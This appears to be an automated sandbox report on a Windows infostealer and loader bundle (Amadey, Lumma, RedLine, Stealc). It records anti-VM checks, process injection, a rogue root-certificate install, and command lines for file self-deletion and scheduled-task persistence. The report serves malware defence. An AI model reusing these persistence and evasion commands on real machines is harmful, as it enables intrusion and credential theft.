Malware Analysis Report

2024-07-11 09:46

Sample ID 240531-bs5pkshh3x
Target b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb
SHA256 b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb
Tags
amadey lumma redline stealc 1 49e482 @logscloudyt_bot zzvv discovery evasion execution infostealer spyware stealer trojan privateloader bootkit loader persistence
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb

Threat Level: Known bad

The file b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb was found to be: Known bad.

Malicious Activity Summary

amadey lumma redline stealc 1 49e482 @logscloudyt_bot zzvv discovery evasion execution infostealer spyware stealer trojan privateloader bootkit loader persistence

Stealc

Modifies firewall policy service

RedLine

PrivateLoader

Amadey

Lumma Stealer

RedLine payload

Identifies VirtualBox via ACPI registry values (likely anti-VM)

Command and Scripting Interpreter: PowerShell

Downloads MZ/PE file

Blocklisted process makes network request

Reads user/profile data of web browsers

Loads dropped DLL

Identifies Wine through registry keys

Checks computer location settings

Reads data files stored by FTP clients

Checks BIOS information in registry

Executes dropped EXE

Writes to the Master Boot Record (MBR)

Drops desktop.ini file(s)

Looks up external IP address via web service

Accesses cryptocurrency files/wallets, possible credential harvesting

Drops Chrome extension

Checks installed software on the system

Legitimate hosting services abused for malware hosting/C2

Drops file in System32 directory

Suspicious use of NtSetInformationThreadHideFromDebugger

Suspicious use of SetThreadContext

Drops file in Program Files directory

Drops file in Windows directory

Unsigned PE

Enumerates physical storage devices

Program crash

Suspicious use of FindShellTrayWindow

Modifies system certificate store

Modifies data under HKEY_USERS

Suspicious use of SendNotifyMessage

Checks SCSI registry key(s)

Suspicious use of AdjustPrivilegeToken

Enumerates system info in registry

Delays execution with timeout.exe

Checks processor information in registry

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Suspicious use of SetWindowsHookEx

Creates scheduled task(s)

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Reported

2024-05-31 01:25

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-31 01:25

Reported

2024-05-31 01:28

Platform

win10v2004-20240226-en

Max time kernel

62s

Max time network

160s

Command Line

"C:\Users\Admin\AppData\Local\Temp\b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb.exe"

Signatures

Amadey

trojan amadey

Lumma Stealer

stealer lumma

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Stealc

stealer stealc

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A

Downloads MZ/PE file

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\e58c5bc\download.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A

Identifies Wine through registry keys

evasion
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb.exe N/A

Reads data files stored by FTP clients

spyware stealer

Checks installed software on the system

discovery

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A pastebin.com N/A N/A
N/A pastebin.com N/A N/A
N/A iplogger.com N/A N/A
N/A iplogger.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A api.myip.com N/A N/A
N/A api.myip.com N/A N/A
N/A ipinfo.io N/A N/A
N/A ipinfo.io N/A N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\axplont.job C:\Users\Admin\AppData\Local\Temp\b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61 C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\configurationValue\One.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3248 wrote to memory of 4712 N/A C:\Users\Admin\AppData\Local\Temp\b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb.exe C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
PID 3248 wrote to memory of 4712 N/A C:\Users\Admin\AppData\Local\Temp\b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb.exe C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
PID 3248 wrote to memory of 4712 N/A C:\Users\Admin\AppData\Local\Temp\b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb.exe C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
PID 4712 wrote to memory of 4436 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe
PID 4712 wrote to memory of 4436 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe
PID 4712 wrote to memory of 4436 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe
PID 4436 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4436 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4436 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4436 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4436 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4436 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4436 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4436 wrote to memory of 4312 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4712 wrote to memory of 720 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe
PID 4712 wrote to memory of 720 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe
PID 4712 wrote to memory of 720 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe
PID 4712 wrote to memory of 1504 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe
PID 4712 wrote to memory of 1504 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe
PID 4712 wrote to memory of 1504 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe
PID 1504 wrote to memory of 232 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1504 wrote to memory of 232 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1504 wrote to memory of 232 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1504 wrote to memory of 892 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\SysWOW64\cmd.exe
PID 1504 wrote to memory of 892 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\SysWOW64\cmd.exe
PID 1504 wrote to memory of 892 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\SysWOW64\cmd.exe
PID 1504 wrote to memory of 4180 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1504 wrote to memory of 4180 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1504 wrote to memory of 4180 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1504 wrote to memory of 4180 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1504 wrote to memory of 4180 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1504 wrote to memory of 4180 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1504 wrote to memory of 4180 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1504 wrote to memory of 4180 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 1504 wrote to memory of 4180 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4712 wrote to memory of 2236 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe
PID 4712 wrote to memory of 2236 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe
PID 4712 wrote to memory of 2236 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe
PID 2236 wrote to memory of 2064 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2236 wrote to memory of 2064 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2236 wrote to memory of 2064 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2236 wrote to memory of 2064 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2236 wrote to memory of 2064 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2236 wrote to memory of 2064 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2236 wrote to memory of 2064 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2236 wrote to memory of 2064 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 2236 wrote to memory of 2064 N/A C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4712 wrote to memory of 3900 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Windows\SysWOW64\WerFault.exe
PID 4712 wrote to memory of 3900 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Windows\SysWOW64\WerFault.exe
PID 4712 wrote to memory of 3900 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Windows\SysWOW64\WerFault.exe
PID 3900 wrote to memory of 4440 N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3900 wrote to memory of 4440 N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3900 wrote to memory of 4440 N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3900 wrote to memory of 4440 N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3900 wrote to memory of 4440 N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3900 wrote to memory of 4440 N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3900 wrote to memory of 4440 N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3900 wrote to memory of 4440 N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3900 wrote to memory of 4440 N/A C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 4712 wrote to memory of 5100 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe
PID 4712 wrote to memory of 5100 N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe
PID 4440 wrote to memory of 2172 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\SysWOW64\cmd.exe
PID 4440 wrote to memory of 2172 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\SysWOW64\cmd.exe
PID 4440 wrote to memory of 2172 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\SysWOW64\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb.exe

"C:\Users\Admin\AppData\Local\Temp\b2e7774867311abc1d40a394e338077643ee807ef30423274d024bfe3f2d66fb.exe"

C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe

"C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe"

C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe

C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe

C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe

"C:\Users\Admin\AppData\Local\Temp\1000004001\33333.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe

"C:\Users\Admin\AppData\Local\Temp\1000005001\fileosn.exe"

C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe

"C:\Users\Admin\AppData\Local\Temp\1000006001\lumma1234.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4436 -ip 4436

C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe

"C:\Users\Admin\AppData\Local\Temp\1000008001\gold.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe

"C:\Users\Admin\AppData\Local\Temp\1000009001\swizzzz.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4436 -s 256

C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe

"C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" & del "C:\ProgramData\*.dll"" & exit

C:\Windows\SysWOW64\timeout.exe

timeout /t 5

C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe

"C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe"

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Newoff.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe" /F

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 2236 -ip 2236

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2236 -s 284

C:\Users\Admin\AppData\Roaming\configurationValue\One.exe

"C:\Users\Admin\AppData\Roaming\configurationValue\One.exe"

C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe

"C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1044 --field-trial-handle=2280,i,4114443225282860369,4764091921472631035,262144 --variations-seed-version /prefetch:8

C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe

"C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe"

C:\Users\Admin\AppData\Local\Temp\e58c5bc\download.exe

run=1 shortcut="C:\Users\Admin\AppData\Local\Temp\1000286001\download.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 5068 -ip 5068

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 5068 -s 2116

C:\Users\Admin\Pictures\SUk9Dx9KB9NHohPMqYPvcFtz.exe

"C:\Users\Admin\Pictures\SUk9Dx9KB9NHohPMqYPvcFtz.exe" /s

C:\Users\Admin\Pictures\FszrjawS9fPLQZ7mFd7V7Lmw.exe

"C:\Users\Admin\Pictures\FszrjawS9fPLQZ7mFd7V7Lmw.exe"

C:\Users\Admin\Pictures\0xYvEN3BkDObbHJJpOC5I8sz.exe

"C:\Users\Admin\Pictures\0xYvEN3BkDObbHJJpOC5I8sz.exe"

C:\Users\Admin\Pictures\YJwP5U6D0gUWXm0tvq2yHCEw.exe

"C:\Users\Admin\Pictures\YJwP5U6D0gUWXm0tvq2yHCEw.exe"

C:\Users\Admin\Pictures\uJNyGwtKRLdEnZrYZRh3seW5.exe

"C:\Users\Admin\Pictures\uJNyGwtKRLdEnZrYZRh3seW5.exe"

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum

C:\Users\Admin\AppData\Local\Temp\7zS1989.tmp\Install.exe

.\Install.exe

C:\Users\Admin\AppData\Local\Temp\7zS234D.tmp\Install.exe

.\Install.exe /NQHxdidUQs "385118" /S

C:\Windows\SysWOW64\cmd.exe

